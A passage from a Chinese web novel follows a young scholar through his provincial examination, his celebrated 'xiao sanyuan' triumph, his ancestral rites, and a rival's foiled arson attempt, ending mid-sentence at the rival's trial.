所有信息瞬间被超频大脑捕获、分析、比对。
“《四书》题:‘君子喻于义,小人喻于利’…
此题重在对‘义利之辨’的深度剖析,
需引经据典,正反论证…”
“策问题:论‘漕运之弊与海运之可行性’…果然涉及实务!
周学政务实,赵教谕和王县令的信息无误!”
“诗赋题:以‘砥柱’为题作五言八韵律诗一首…
需雄浑大气,托物言志,暗含自身抱负…”
几乎在浏览完毕的瞬间,
基于对主考官周孚先偏好(务实、恶空谈)、
副主考王学政喜好(诗重格律用典)、
以及自身知识储备的综合分析,
数篇结构严谨、立意高远、
文采斐然的最佳破题立意的腹稿已然在脑中生成!
他没有丝毫犹豫,
选定了最能展现综合实力、
也最契合考官期望的那套方案。
研墨,铺纸,提笔,蘸墨,
动作行云流水,带着一种成竹在胸的沉稳气度。
而此刻,贡院之内,并非所有人都如他这般从容。
科举之功名,诱惑太大,总有人铤而走险。
斜对面一个胖硕考生,
趁巡考走过,迅速从发簪里抽出卷得极细的纸条;
右后方一个面色苍白的考生,
假装整理鞋袜,
实则偷偷瞄向缝在鞋帮内侧的小抄;
更远处,甚至传来极轻微的、
有节奏的敲击墙壁的声音,
显然正在传递着什么暗号…
魑魅魍魎,各显“神通”。
然而,这一切在高度戒备的巡考衙役和犀利的巡场考官面前,往往无所遁形。
“啪!”
一声惊堂木般的脆响,
伴随着一声厉喝:
“地字贰拾壹号!怀挟文字!拿下!”
“人字叁拾捌号!交头接耳!逐出考场!”
不时有违规考生面如死灰地被如狼似虎的衙役拖出号舍,
求饶声、哭泣声短暂打破沉寂,
又迅速被更大的死寂吞没。
似如投入湖面的石子,
只能泛起微小涟漪,
无法影响整个湖面的深沉。
苏惟瑾连眼皮都未曾抬一下,心静如水。
他的全部心神,已沉浸在笔下的文章之中。
破题精准,承题稳健,起讲高屋建瓴。
八股部分,对仗工整却不显呆板,
逻辑严密且层层递进。
经义阐释,既能恪守朱注根本,
又能发散思维,融入现代哲学思辨,
于框架内展现新意。
策问部分,更是他大放异彩的舞台!
将此前与王县令探讨的水利、漕运、管理等实务见解,
以更精炼、更系统、更符合科举文体的方式倾泻而出,
数据、案例、对策信手拈来,
言之有物,鞭辟入里!
笔走龙蛇,文思泉涌。
超频大脑操控下的手腕稳定有力,
改善了许久的字体此刻发挥出最佳水准,
清劲工整,如刻如铸,赏心悦目。
不知何时,一位巡场的府学教授踱步经过他的号舍。
只是随意一瞥,目光却瞬间被那漂亮的字迹和惊人的文章内容吸住了!
他忍不住停下脚步,屏息静气,站在苏惟瑾身后默默观看。
越是看下去,他眼睛瞪得越大,
脸上的惊讶之色愈浓。
看到精妙处,竟忘乎所以,
忍不住捋须低声赞叹:
“好!此解精辟!…
嗯?竟能如此引申?
妙啊!这漕运之策…
简直可直达天听!”
他这一失态,立刻引起了附近其他巡考官的注意。
几位同僚好奇地围拢过来,
一看之下,亦是纷纷变色,
交头接耳,眼中满是难以置信的激赏。
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“此子何人?沭阳苏惟瑾?
可是那位府试案首?”
“正是他!了不得!了不得!
这文章…这见识…”
“经义扎实,策论惊人,
诗赋想必亦是不凡!
此科案首,恐无悬念矣!”
这边的动静越来越大,
低声的议论终于惊动了高台上正闭目养神的主考官周孚先。
周学政微微蹙眉,睁开锐利的眼睛,
望向玄字柒拾叁号舍方向。
只见几位下属竟围在一个考生号舍外窃窃私语,实乃考场大忌!
他面色一沉,起身踱步过去,
想看看是何等文章,
竟让这些见多识广的学官如此失态。
几位教授见学政亲临,连忙噤声,
让开道路,脸上却仍带着压抑不住的兴奋。
周孚先面无表情,
目光落在苏惟瑾正在奋笔疾书的试卷上。
他静静站着,看了约莫一炷香的时间。
从经义看到策问,
目光从最初的审视,渐渐变为惊讶,
继而凝重,最后化为毫不掩饰的欣赏!
他看到的是怎样一篇文章啊!
根基之扎实,远超同龄!
见解之深刻,堪比宿儒!
文笔之老练,难以想象出自少年之手!
尤其是那篇漕运策,
所提“海运补充、官督商办、厘清漕弊”之论,
与他心中思索多年的某些想法不谋而合,
甚至更为完善可行!
周孚先忍不住捻着胡须,微微颔首,
心中波澜涌动:
“好一个苏惟瑾!
府试案首,名不虚传!
观其文,如观利刃出鞘,寒光逼人!
此子之才,绝非一秀才可限!
将来国之栋梁,未必不能企及!”
他生怕打扰考生,并未出声,
只是深深地看了那全神贯注、
仿佛与外界隔绝的清瘦身影一眼,
转身悄然离去。
但离去时那轻快的步伐和微微扬起的嘴角,
却透露了他此刻极佳的心情。
而隔壁号舍的孙志远,
早已听到了外面的动静。
他偷偷侧目,看到学政和众多考官竟齐聚苏惟瑾舍外,
那份无声的赞赏犹如最锋利的针,
狠狠刺入他的心脏!
他再看看自己笔下那磕磕绊绊、
自己都觉不甚满意的文章,
一股绝望的冰寒瞬间席卷全身,
手指一抖,一滴硕大的墨汁滴落在试卷上,
迅速晕开一大片黑污…
完了…孙志远面如死灰,瘫坐在冰冷的号板上。
而苏惟瑾,对这一切恍若未觉。
他的世界里,只剩下笔下的经纬山河,
胸中的浩然之气。文章渐入佳境,笔下如有神助。
第67章 案首再现,小三元震沭阳!
院试放榜之日,
淮安府贡院外的照壁前早已人山人海,挤得水泄不通。
有人踮脚张望,
帽子被挤飞也浑然不觉;
孩童骑在父亲肩头,
小手指着空白的照壁晃动不休。
无数目光焦灼地凝望着那面墙,
期待与忐忑在空气中交织,
呼吸声、吞咽声、低低的祈愿声汇聚成一张紧绷的网。
苏惟瑾并未挤在前头,
只静立于远处古槐树下。
他面色平静,
负在身后的双手却微微发白
——纵使能推演文章、洞察时势,
这场藏龙卧虎的府试最终名次,
仍超越了他超频大脑的运算之界。
身旁,苏惟山与苏惟虎如两座铁塔护持左右,
铜铃般的眼睛警戒四周,
随时准备要将冲近之人拎起扔出。
“铛——!”
一声沉厚的锣响骤然撕裂空气,
如重锤撞在每个人心上!
呼吸霎时静止,心跳涌至喉口。
两名衙役面无表情,手捧大红榜文,
在府学官员注视下稳稳贴上照壁。
“放榜了!”
“快看头名是谁!”
人群瞬间沸腾,
如潮水般向前涌动,
惊呼、叹息、狂喜与推挤之声震得地面发颤。
苏惟瑾仍伫立未动,
目光却越过攒动人群,
精准落于榜文最顶端那三个墨浓字迹——
苏!惟!瑾!
籍贯:沭阳县。
成绩:案首!
成了!
即便早有预料,亲眼见证这一刻,
一股滚烫的热流仍霎时涌遍全身,
指尖都微微发颤。
超频大脑罕有地空白一瞬,
被纯粹的快意填满。
“中了!案首!惟瑾,你是案首啊!哈哈哈!”
苏惟山、苏惟虎虽不识字,
却听清了四周沸腾的呐喊,
两人猛地拍腿,声如洪钟般大笑,
震得槐树叶簌簌而落,
一把抓住苏惟瑾的胳膊,
几乎要将他整个人拎起。
几乎同一时刻,
沭阳县衙后堂与县学值房中,县令**与教谕赵明远,
正同时展开自府城送来的加急塘报。
“沭阳苏惟瑾,院试案首”
——望着这行字,
两人脸上不约而同露出复杂而会心的笑容。
“好!好!好!”
**连道三声,手指激动地叩击桌面。
“本官果然没有看错人!
此乃沭阳文教之大幸!”
赵明远拈须颔首,
眼中欣慰满溢,正要开口,
却见女儿赵文萱端着茶盘步入。
她本是来为父亲奉茶,
一听“苏惟瑾”“院试案首”,
手中茶盘猛地一颤,
温茶溅出几滴落在袖口。
她却顾不得擦拭,
抬头望向父亲,
眼中恍若盛满星光:
“父亲,您刚说……
苏公子中了院试案首?”
赵明远含笑点头。
赵文萱手指微微收紧,
嘴角情不自禁扬起,
声调中带着压抑不住的雀跃:
“我早知苏公子定能成功!
前几日他来县学借书,
言谈之间便知胸有丘壑,
果然不负众望!”
说罢竟忍不住步至窗边,
仿似要透过窗棂望见街上传喜的景象。
**见状,亦笑着打趣:
“赵教谕,你这闺女,
倒比你还关切苏惟瑾之成绩啊。”
赵明远哈哈大笑,
随即语气微转:
“县尊,院试案首,府试案首……如今只差一个……”
**顿时心领神会,
笑容沉凝几分:
“赵教谕是指,县试案首?”
二人相视一眼,一切尽在不言中。
昔日苏惟瑾以“张诚”书童身份参考县试,
是在张家的暗箱操作下成绩无效。
后来虽然周大人特事特办批准苏惟瑾县试成绩有效,
却为顾全大局未点案首。
如今若补此荣誉,
便是连中“小三元”
——这不只是苏氏一门的荣光,
更是沭阳实实在在的政绩!
“当日苏惟瑾的县试卷子,
应已单独封存了吧?”
**问道。
“自然。”
赵明远心照不宣地接话。
“下官这便调阅复查。
其文章锦绣,评为案首实至名归,
任谁也无可指摘!”
一番“查证”与“复核”之后,
重定县试案首的呈文迅速备妥,
用印、张榜,一气呵成。
此时,院试喜报正以八百里加急传回沭阳,
全县尚在为“院试案首”欢腾,
新的红榜又如一把烈火掷入滚油,
彻底点燃了整个沭阳!
“经复核己亥年沭阳县试卷,
沭阳学子苏惟瑾文章卓异,
实属魁首。
特此更正,定苏惟瑾为沭阳县试案首!”
县试案首!府试案首!院试案首!
小三元!
这是沭阳乃至淮安府百年未有的文盛之事!
喜讯如生双翼,顷刻传遍全县。
消息传回西街苏家老宅时,
苏婉正在院中跟着七婶学习绣花。
当报喜的锣声和街坊兴奋的呐喊声清晰地传来
——“小三元!苏惟瑾是小三元!”
——她手中的绣花针“啪”地掉在地上,
整个人愣在原地。
下一秒,巨大的、无法抑制的喜悦如同潮水般将她淹没。
她猛地站起身,甚至忘了穿好鞋子,
就像一只轻盈的燕子,
飞快地冲出院子,跑到巷口,挤进欢呼的人群。
她踮着脚尖,
听着周围所有人都在高声喊着哥哥的名字,
喊着“小三元”,那张小脸因为激动而涨得通红,
眼眶里蓄满了泪水,
却是喜悦的泪水。
她用力咬着嘴唇,不让自己哭出声,
但那闪闪发亮的眼睛里,
充满了极致的骄傲和幸福。
“哥哥…哥哥真的做到了!
哥哥他是最厉害的!”
她在心中一遍遍地喊着。
七叔公苏正廉闻讯,
朝着祖宗牌位方向“噗通”跪倒,
连连叩首,老泪纵横:
“列祖列宗在上!
苏家……苏家出真龙了!
光耀门楣啊!”
整个苏氏家族都沸腾了。
族人们纷纷涌到老宅门口,
脸上洋溢着与有荣焉的兴奋,
七嘴八舌地议论着,
俨然苏惟瑾的成功是他们每一个人共同的荣耀。
在这片欢腾的海洋中,
苏有才、苏有德两家人却显得格格不入。
他们被裹挟在兴奋的族人中,
被迫来到了老宅前,脸色灰败,
眼神躲闪,恨不得找个地缝钻进去。
苏有才听着
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周围人对苏惟瑾的交口称赞,
每一句都像鞭子抽在他脸上。
他想起自己当初如何霸占侄儿家产,
如何做局将苏惟瑾卖入张府,
肠子都快悔青了,更多的却是害怕,
害怕苏惟瑾如今功成名就,
会回头清算旧账。
他偷偷拉扯苏有德的袖子,
声音干涩发颤:
“老五…完了…这下全完了…”
苏有德更是面如死灰,
连假笑都挤不出来,
只会喃喃道:
“怎么会…怎么就小三元了…”
他们的儿子苏惟强和苏惟壮,
远远躲在人群外围,
看着被众人簇拥着、
喜极而泣的苏婉,
心情复杂到了极点。
苏惟强脸色铁青,
拳头紧握,指甲几乎嵌进肉里。
他想起了早点摊前的嘲讽,
想起了往日对苏惟瑾的轻视,
此刻只觉得脸上火辣辣的,
宛如被无数道目光无声地鞭挞着。
他猛地转身,一拳砸在旁边的土墙上,
低吼道:
“有什么了不起!”
可这吼声在震天的欢呼中是如此微弱无力。
苏惟壮则是一脸茫然和惶恐,
他扯了扯苏惟强的衣角,
声音带着哭腔:
“强哥…以后…以后在族里,
咱们还怎么抬头啊…”
往日里跟他们厮混的几个年轻族人,
此刻都离他们远远的,
全都一脸兴奋地朝着老宅方向张望。
县衙前院,捕快周大山闻讯,咧嘴大笑,
一拍大腿险些扔了棍子:
“好小子!真叫他凑成小三元了!
没枉咱们兄弟一场!”
说着便要往外冲去贺喜。
陈氏书铺内,陈芸理书的手一顿。
“啪”的一声书册落地。
她掩唇哽咽,泪水盈眶。
王百户家中,王雪茹挥动红缨枪,
听父亲念出喜报,枪尖蓦地一顿,
随即挽出一记凌厉枪花,笑靥如朝阳灿烂。
而孙家与败落的张府,
得讯却如坠冰窟。
孙志远在房内砸烂所有能砸之物;
张承宗卧于病榻,
窗外阵阵鞭炮声入耳,
猛地一口鲜血喷出,昏死过去。
全县沸腾!
鞭炮自城东响至城西,锣鼓喧天。
一日后。
当苏惟瑾身着青色秀才襕衫,
头戴方巾,胸前绾着大红绸花,
骑高头大马出现于沭阳街头时,
人群欢呼顿至鼎沸。
在涌动的人潮中,
苏惟瑾一眼就看到了那个奋力挥舞着小手、
激动得小脸通红的熟悉身影
——他的妹妹苏婉。
她挤在最前面,跳着脚,
眼中闪烁着比星辰还要明亮的光芒,
用尽全身力气喊着:“哥哥!哥哥!”
看着妹妹那纯粹而灿烂的笑容,
苏惟瑾心中最后一丝不确定也烟消云散。
他朝着妹妹的方向,微微颔首,
露出了一个温暖而坚定的笑容。
从昔日人人可欺的书童,
到今天万众瞩目的小三元秀才
——他终于迈入了士绅之门,
也为妹妹撑起了一片再无风雨的天空。
这条狂飙科举之路,这才是真正坚实而耀眼的第一步。
他望向眼前欢腾的天地,
眼中光芒熠熠。
一切,才刚刚开始。
第68章 秀才衣冠,苏家祭祖光耀
游街的喧嚣渐渐散去,
但沭阳城内的热议却持续沸腾。
然而对于西街苏氏而言,
另一桩更为隆重、
更具象征意义的大事,
才刚刚拉开序幕
——新晋秀才相公,
小三元得主苏惟瑾,
要身着功名服,正式祭告先祖!
这一日,苏家宗祠内外被打扫得一尘不染。
祠堂门楣之上,早已挂上了红绸,虽略显陈旧,
却已是苏家眼下能拿出的最隆重的装饰。
祠堂院内,黑压压站满了苏氏一族的男丁,
但凡在沭阳地界能扯上点关系的,今日都到了场。
人人脸上都洋溢着与有荣焉的兴奋,
交头接耳,气氛热烈得如同过节。
与祠堂院内清一色的男丁不同,
院门之外,乃至祠堂侧的矮墙边,
也聚拢着不少苏氏的女眷。
她们按规矩不得踏入祠堂正殿,
却难掩激动之情,皆翘首以盼。
苏婉今日也穿了一身自己最好的、
洗得发白的粉布衣衫,
头发梳得整整齐齐,
挤在人群最前方。
她个子小,只能踮着脚尖,
透过祠堂大开的院门,
紧紧盯着那条从门口通往正殿的青石路,
小手紧张地攥着衣角,心跳得飞快。
她知道哥哥今日要穿着秀才老爷的衣裳来拜祖宗,这是天大的荣耀!
虽然她不能进去亲眼看着哥哥在祖宗牌位前上香,
但能在这里离哥哥近一些,
感受这份荣耀,她就已经无比满足。
她听着身边婶娘们对哥哥的夸赞,
那张小脸因兴奋和骄傲涨得通红,
心里像喝了蜜一样甜。
吉时已到,鼓乐声起(请的是街上最便宜的鼓乐班子,但吹打得格外卖力)。
只见宗祠大门处,人群如潮水般向两侧分开。
七叔公苏正廉今日换上了一件压箱底、
略显宽大的深色直裰,
头发梳得一丝不苟,
手持一封誊写工整的祭文,走在最前头。
而在他身后半步,
众星捧月般簇拥着的,
正是今日绝对的主角——苏惟瑾。
他褪去了游街时那身过于招摇的披红挂彩,
换上了朝廷规制、象征着秀才身份的青色襕衫。
这襕衫并非绫罗绸缎,只是细布所制,
但浆洗得笔挺,通身无纹,
唯有领、袖、衣襟处缀以深青色的缘边,显得素雅而庄重。
头戴方巾,脚踏皂靴,
一身儒生打扮,衬得他身姿越发挺拔,
面容清俊,气质沉静,自有一股读书人的雍容气度。
无数道目光瞬间聚焦在他身上,
充满了羡慕、敬畏、甚至是一丝难以置信。
苏惟瑾目不斜视,步履从容,
跟在七叔公身后,一步步走向那香烟缭绕的祠堂正殿。
他的心情亦不平静。
这身襕衫,看似简单,却重若千钧。
人群中,苏有才、苏有德两兄弟挤在最前面,
脸上堆满了近乎谄媚的笑容,点头哈腰。
尤其是苏有才,搓着手,几次想上前搭话,
都被七叔公严厉的眼神
和苏惟瑾周身那股无形的疏离感
给逼退了回去,只得讪讪地笑着。
在苏有才兄弟身后稍远些,
他们的儿子苏惟强和苏惟壮也挤在人群里。
与父辈纯粹的谄媚不同,
两人的神色更为复杂,
交织着尴尬、敬畏,
以及一丝急于弥补的迫切。
当苏惟瑾走过他们身前时,
苏惟壮像是下定了决心,
猛地扯了一下苏惟强的袖子,
然后两人一起挤出人群,
朝着苏惟瑾笨拙地拱了拱手,
脸上挤出极其不自然的笑容。
苏惟强嗓门大,却刻意压低了声音,
带着前所未有的客气,
甚至有些结巴:
“惟…惟瑾兄弟…
啊不,惟瑾相公!
恭…恭喜高中!
给咱们苏家争了大光了!”
苏惟壮也连忙附和,
声音带着点讨好:
“是是是,惟瑾哥…
以后…以后族里兄弟,
还得靠你多提携…”
他们再不敢提往日旧怨,
甚至连一丝不忿都不敢表露。
苏惟瑾如今已是秀才相公,
地位超然,与他们已是云泥之别。
这突如其来的示好,虽显生硬,
却也是现实最真实的写照。
苏惟瑾目光扫过他们,
依旧步履不停,只是微微颔首,
算是回应,既未让他们难堪,
也未表现出任何亲近。
这份淡然,反而让苏惟强兄弟松了口气,
又有些失落,默默退回了人群。
进入祠堂正殿,烛火通明,香烟袅袅。
正中央层层摆放的苏氏先祖牌位,沉默而肃穆。
最下方,便是苏惟瑾父母和爷爷的灵位。
七叔公走到香案前,深吸一口气,
用颤抖却极力放大的声音高喊:
“苏氏列祖列宗在上!
不肖子孙苏正廉,率苏氏全族,
谨以香烛醴酒,昭告于先灵!”
他转过身,目光扫过全场激动的人群,
最后落在苏惟瑾身上,
声音陡然拔高,带着哭腔,
却又充满了无上的骄傲:
“吾族子弟苏惟瑾,
名惟瑾,字玉衡,
自幼聪颖,勤勉好学,
虽命运多舛,然志存高远,
终不负祖宗厚望,
于己亥年科考,
连捷县试、
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府试、院试三案首!
蒙学政周大人亲点,进学为秀才!
此乃天佑我苏氏,文曲降世,光耀门楣!”
他每说一句,底下族人的呼吸便急促一分,
眼中的光彩便更盛一分。
七叔公越说越激动,老泪纵横。
许多老一辈的族人听得也是热泪盈眶。
“…惟瑾今日之功,
上可告慰父母祖父在天之灵,
下可启迪我苏氏后世子孙!
望列祖列宗保佑惟瑾,
再接再厉,早登金榜,
重振我苏氏门庭!”
念罢祭文,七叔公已是泣不成声,
对着祖宗牌位深深拜下。
“拜!”
司仪高喊。
以苏惟瑾为首,所有苏氏族人,
无论长幼,齐刷刷地躬身下拜。
这一刻,宗**理与功名地位完美重合,
苏惟瑾毫无疑问地成为了整个家族的核心与希望。
苏惟瑾郑重地跪下,
接过族人递来的线香,
高举过头,对着父母的牌位,深深三叩首。
爹,娘,爷爷,你们看到了吗?
小九没有给你们丢人。
这襕衫,这功名,
只是拿回本该属于我们的一切的第一步。
你们安息吧。
他在心中默默祷念,
抬起头时,眼神已然更加坚定、锐利。
祭祀礼成,鞭炮声再次震耳欲聋地响起,
这一次是在苏氏宗祠门前,
宣告着一个家族的重新崛起。
族人们欢呼着涌上来,
围着苏惟瑾,七嘴八舌地道贺。
祠堂院内欢声雷动,
这喜悦也感染了院外的女眷们。
苏婉听着里面传来的鞭炮声和欢呼,
知道哥哥的祭祖仪式圆满成功了。
她再也抑制不住内心的激动,
转身拉住身旁一位相熟婶娘的手,雀跃道:
“婶娘,你听到了吗?
哥哥…哥哥他拜过祖宗了!
祖宗一定很高兴!”
她那亮晶晶的眼睛里,
满是纯粹的、为兄长感到的骄傲和幸福,
俨然哥哥的成功,就是她此生最大的荣耀。
七叔公抹去眼泪,
看着被族人簇拥、却依旧气度沉静的苏惟瑾,
满是皱纹的脸上笑开了花。
他大声宣布:
“开祠宴!全族同庆!不醉不归!”
欢呼声再次响彻西街。
苏惟瑾站在喧闹的人群中央,
看着祠堂上方那块写着“光宗耀祖”的旧匾额,
在香烟与烛火的映照下,
宛如焕发出了新的光彩。
他知道,今日之后,
在这苏家,乃至在这沭阳县,
他真正站稳了脚跟。
但这,确实仅仅只是个开始。
前方的路,还有多长?
第69章 张诚疯魔,夜半纵火谋
苏家宗祠的宴饮喧嚣持续到深夜方才渐渐散去。
西街恢复了往日的宁静,
只有空气中残留的淡淡硝烟和酒气,
以及苏家老宅窗棂内透出的微弱烛光,
昭示着这个家族刚刚经历了一场怎样的狂喜。
苏惟瑾送走了最后一批前来道贺的族人,
婉拒了七叔公让他去族里宽敞些的房子歇息的提议,
依旧回到了自己那间虽然简陋却真正属于他的老宅。
他需要这份宁静,
来沉淀连日来的喧嚣,
并将目光投向更远的地方——乡试。
超频大脑虽不知疲倦,
但精神的亢奋需要平复。
他吹熄了灯,和衣躺在榻上,
望着窗外疏朗的星空,
思绪渐渐沉静。
然而,在沭阳城东那日渐倾颓的张府内,
却酝酿着极致的疯狂。
张诚蜷缩在充斥着酒气和霉味的房间里,
白日里苏惟瑾身着襕衫、
受尽追捧的风光画面,
如同最恶毒的诅咒,
反复撕咬着他仅存的理智。
“苏小九!你这贱奴!凭什么!”
他猛地将手中酒壶砸向墙壁,
碎片四溅,状若疯魔。
他想起往日自己是何等威风,
呼朋引伴,欺男霸女,何等快意!
如今却像阴沟里的老鼠,连门都不敢出!
而那个他曾随意打骂的书童,
竟成了人人敬仰的秀才相公,小三元!
这巨大的反差像毒火灼烧着他的五脏六腑。
“你毁了我!
毁了我张家!
我要你死!
要你比我惨十倍!
百倍!”
嫉妒、怨恨最终吞噬了一切,
一个恶毒的计划在脑中成型——烧!
烧了那间破房子,
让苏惟瑾和他那点可怜的荣耀一起化为灰烬!
“嘿嘿…哈哈…”
他发出夜枭般渗人的低笑,
仿佛已经看到了冲天的火光和苏惟瑾葬身火海的惨状,
一种扭曲的快意让他浑身颤抖。
最后一丝理性崩断。
张诚像一头陷入绝境的困兽,
跌跌撞撞地冲出房间,
凭着对家里地形的熟悉,
偷偷摸到了后院杂役房附近存放杂物的角落。
那里有往年修缮房屋时剩下的半桶桐油,一直没舍得扔。
他费力地提起那沉甸甸、
散发着刺鼻气味的油桶,
又找出一块破布。
夜色的掩护下,他化身一个幽灵,
凭着对沭阳街道的熟悉,
躲开偶尔走过的更夫,
蹑手蹑脚地向西街摸去。
夏夜闷热,但他却浑身发冷,
手心全是冷汗。
心跳得像擂鼓,
每一次风吹草动都让他惊得差点跳起来。
纨绔子弟的本性在此刻暴露无遗,
笨拙、紧张、恐惧,
却又被一股疯狂的恨意驱使着。
他的目标明确
——苏惟瑾住的那间孤零零的老宅!
那里僻静,更容易得手!
他要烧!
烧死那个毁了他一切的灾星!
与此同时,西街苏家老宅周边,
并非全然沉浸在喜悦后的宁静中。
苏婉躺在七叔公家安排的厢房里,
翻来覆去怎么也睡不着。
哥哥中了秀才,
她高兴得像是自己也飞上了云端。
可不知为何,心里总有一丝莫名的不安,
冥冥之中好像有什么不好的事情要发生。
她爬起来,扒着窗户缝,
望向哥哥老宅的方向,
小手紧紧揪着衣角,默默祈祷:
“菩萨保佑,哥哥平平安安…”
七叔公虽醉意朦胧,但老人家心思缜密,
欢喜之余并没忘了几日前的担忧。
他早就私下里找到了负责西街巡夜的保长,
又通过保长找到了如今在县衙颇有面子的周大山。
周大山一听是护着自家兄弟,
二话不说,当即拍胸脯保证。
他如今领着几个民壮,
负责后半夜的巡防,
更是打起了十二分的精神。
同时七叔公还不忘叮嘱夜里值守的族人:
“都精神点!
惟瑾如今身份不同,
保不齐有那起子红眼病的小人使坏!”
被安排巡逻的苏惟山、苏惟虎等人也打起了精神,
提着棍棒在附近巷弄走动。
一些住得近的族人,
听闻七叔公的安排,
虽觉得或许小题大做,
但也多了份心,夜里睡得并不沉。
而真正的专业防护,来自周大山。
他领着民壮,化身警觉的猎犬,
在西街关键巷口布下了无形的网。
于是,当张诚鬼鬼祟祟摸到苏家老宅后,哆哆嗦嗦刚蘸湿破布——
“咔哒。”
瓦片轻响。
“嘿!**!还真有不开眼的蠢货送上门来了!”
周大山声如炸雷,从墙头一跃而下!
张诚吓得魂飞魄散,
刚才幻想中的狠厉瞬间被无边的恐惧取代,
“嗷”一嗓子瘫软在地,
桐油泼了一身,
骚臭之气弥漫开来
——竟是吓得失禁了!
“兄弟们!拿下了!”
周大山怒吼。
周围黑暗中瞬间
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冲出几条汉子,
如同神兵天降,将烂泥般的张诚死死按住。
“放开我!我…我是张…”
张诚还想挣扎,声音却抖得不成样子。
“啪!”
周大山一个大耳刮子扇过去,
打得他眼冒金星。
“张你娘!人赃并获!还敢嚣张?!”
这边的动静立刻惊动了四方。
苏婉在房中听到外面呼喝,
心猛地提到了嗓子眼,
赤着脚就跑到门边。
当她透过门缝,
看到周大山等人已经制住了歹人,
而哥哥安然无恙地出现在窗口时,
她才长长松了口气,身子一软,
靠在门板上,后怕的泪水无声滑落。
苏惟山、苏惟虎闻声率先冲了过来,
一看地上油桶和被抓的张诚,
顿时怒火中烧:
“直娘贼!果然是这姓张的杂碎!”
其他被惊醒的族人也纷纷围拢过来,
举着火把,看清是张诚后,顿时骂声一片。
“好毒的心肠!竟想放火!”
“多亏了大山哥和七叔公有先见之明!”
“打死这畜生!”
群情激愤,火光下,
张诚蜷缩在地上,
面无人色,浑身抖如筛糠,
与刚才的疯狂幻想形成了可笑又可悲的对比。
苏惟瑾,面色平静地看着这场闹剧。
“大山哥,怎么回事?”
他声音沉稳,不见丝毫慌乱。
“惟瑾!你没事吧?
就这杂碎!想来放火!”
周大山拎起张诚,像展示一件垃圾。
火把照亮张诚扭曲恐惧的脸。
苏惟瑾目光淡漠,如同俯瞰蝼蚁:
“原来是你。自寻死路。”
他甚至懒得废话,
直接对周大山道:
“烦请大山哥,
将人犯与罪证一并押送县衙。
禀明王县令,人赃并获,
意图纵火行凶,谋害秀才,罪加一等!”
语气平淡,却带着不容置疑的决断力。
这番从容不迫、直接将对方打入万劫不复之地的姿态,
比任何愤怒的斥责都更具威力,
看得周围族人心中凛然,更是佩服。
“得令!”
周大山兴奋应道,
招呼民壮将彻底瘫软的张诚捆了个结实。
一场疯狂的阴谋,尚未开始便已终结。
施害者将自己送上了绝路。
苏惟瑾站在窗口,看着火把押送张诚远去。
夜色重归宁静,但他知道,张家,至此已彻底成为历史的尘埃。
而他在族人和乡邻心中的地位,经此一事,必将更加稳固。
第70章 公堂之上,恶少终伏法
翌日清晨,沭阳县衙三班衙役、
刑房书吏悉数到齐,气氛肃杀。
消息如同长了翅膀,飞遍全城
——“昨夜张家那败家子欲放火烧死苏案首,
被周捕快当场拿获,
今日县尊大人要升堂问案!”
这可是天大的新闻!
百姓们闻风而动,
早早便将县衙大门外的栅栏围得水泄不通。
“升——堂——!”
“威——武——!”
随着衙役们低沉浑厚的堂威声和水火棍有节奏地敲击地面,
县令**身着官服,端坐公案之后。
“带人犯张诚,及相关一干人证物证!”
**声音清晰冷冽。
张诚被两名彪悍衙役架了上来,
一夜囚禁,加之惊吓过度,
他早已不复人形。
周大山雄赳赳气昂昂地上堂,
身后民壮手捧桐油、浸油破布等物证。
苏惟瑾作为苦主,
也一身清爽襕衫,
从容不迫地走上堂来,立于一旁。
公堂外围观的人群中,
苏婉在七叔公和几位族中女眷的陪伴下,也紧张地踮脚望着。
她小手紧紧攥着衣角,
脸色有些发白。
当看到哥哥安然无恙、
气度从容地立于堂上时,
她才稍稍松了口气,
但看到瘫软如泥的张诚,
想起昨夜惊魂,仍不免后怕。
七叔公感受到她的紧张,
轻轻拍了拍她的肩膀,低声道:
“婉儿别怕,王县令定会主持公道!”
苏有才、苏有德两兄弟也挤在人群前排,伸长了脖子。
与七叔公等人的义愤不同,
他们脸上虽也努力挤出愤慨之色,
眼神却闪烁不定,
尤其是听到张诚纵火未遂的细节时,
两人不自觉地交换了一个心惊肉跳的眼神。
苏有才下意识地摸了摸自己的脖子,
压低声音对苏有德道:
“这…这张家小子真是疯了…
好歹也是亲…”
苏有德连忙扯了他一下,
示意他噤声,生怕被周围族人注意到他们的失态。
更外围些,苏惟强和苏惟壮混在人群中,
听着周围人对张诚的唾骂和对苏惟瑾的称赞,心情复杂。
苏惟强撇了撇嘴,想说什么风凉话,
终究没敢出口,只咕哝道:
“算他走运…”
苏惟壮则是一脸敬畏,喃喃道:
“瑾哥如今…可是连张家都说扳倒就扳倒了…”
**先令周大山陈述拿获经过。
周大山声若洪钟,
将昨夜如何巡逻、
如何发现张诚鬼祟行迹、
如何人赃并获的过程讲得清清楚楚。
堂外围观百姓听得惊呼连连,怒骂声四起。
**又令民壮出示物证,并一一确认。
那桐油、破布,皆是铁证。
“张诚!”
**惊堂木猛地一拍。
“人证物证俱在!
你昨夜潜入西街,
携带火油,意欲何为?
从实招来!”
张诚早已吓破了胆,
瘫跪在地,磕头如捣蒜,
涕泪横流地哭嚎道:
“大老爷明鉴!小人招!小人都招!
是…是小人猪油蒙了心!
嫉妒那苏惟瑾中了秀才…
恨他害得我家如此…
就想…就想放火烧了他家…
让他…让他也不能好过…
小人知错了!大老爷饶命啊!”
他语无伦次,他语无伦次,
但认罪之词却说得清清楚楚。
堂外围观人群顿时一片哗然,
怒骂声四起。
“果然是他!”
“心思如此恶毒!绝不能饶!”
**面色更冷,厉声道:
“如此说来,你承认昨夜意图纵火行凶,谋害秀才苏惟瑾了?”
“是…是…小人承认…
求大老爷开恩…”
张诚只剩下求饶的本能。
就在这时,堂外一阵骚动,
张家那个老管家挤了进来,
噗通一声跪倒在地,
老泪纵横地高喊:
“青天大老爷!
我家少爷是一时糊涂!
他…他得了失心疯啊!
求老爷看在他年少无知,
又未曾真正酿成大祸的份上,
从轻发落!
我家老爷…
我家老爷愿倾家荡产赔偿苏相公!”
这是想用钱买命了。
**闻言,眼中闪过一丝讥诮。
若是平日,一些小事或可通融,
但此案非同小可!
其一,罪行恶劣,纵火已是重罪,
对象还是新晋秀才、一县瞩目的文曲星,影响极坏!
其二,人赃并获,众目睽睽,无从遮掩。
其三,学政周大人对此案必有耳闻,正盯着看他如何处置。
其四,苦主苏惟瑾乃他看重之人,
正要借此案进一步施恩立威!
岂容徇私?
“放肆!”
**惊堂木再拍,声震屋瓦。
“公堂之上,岂容你喧哗贿赂?
王子犯法与庶民同罪!
更何况他张诚?
意图纵火**,罪证确凿,
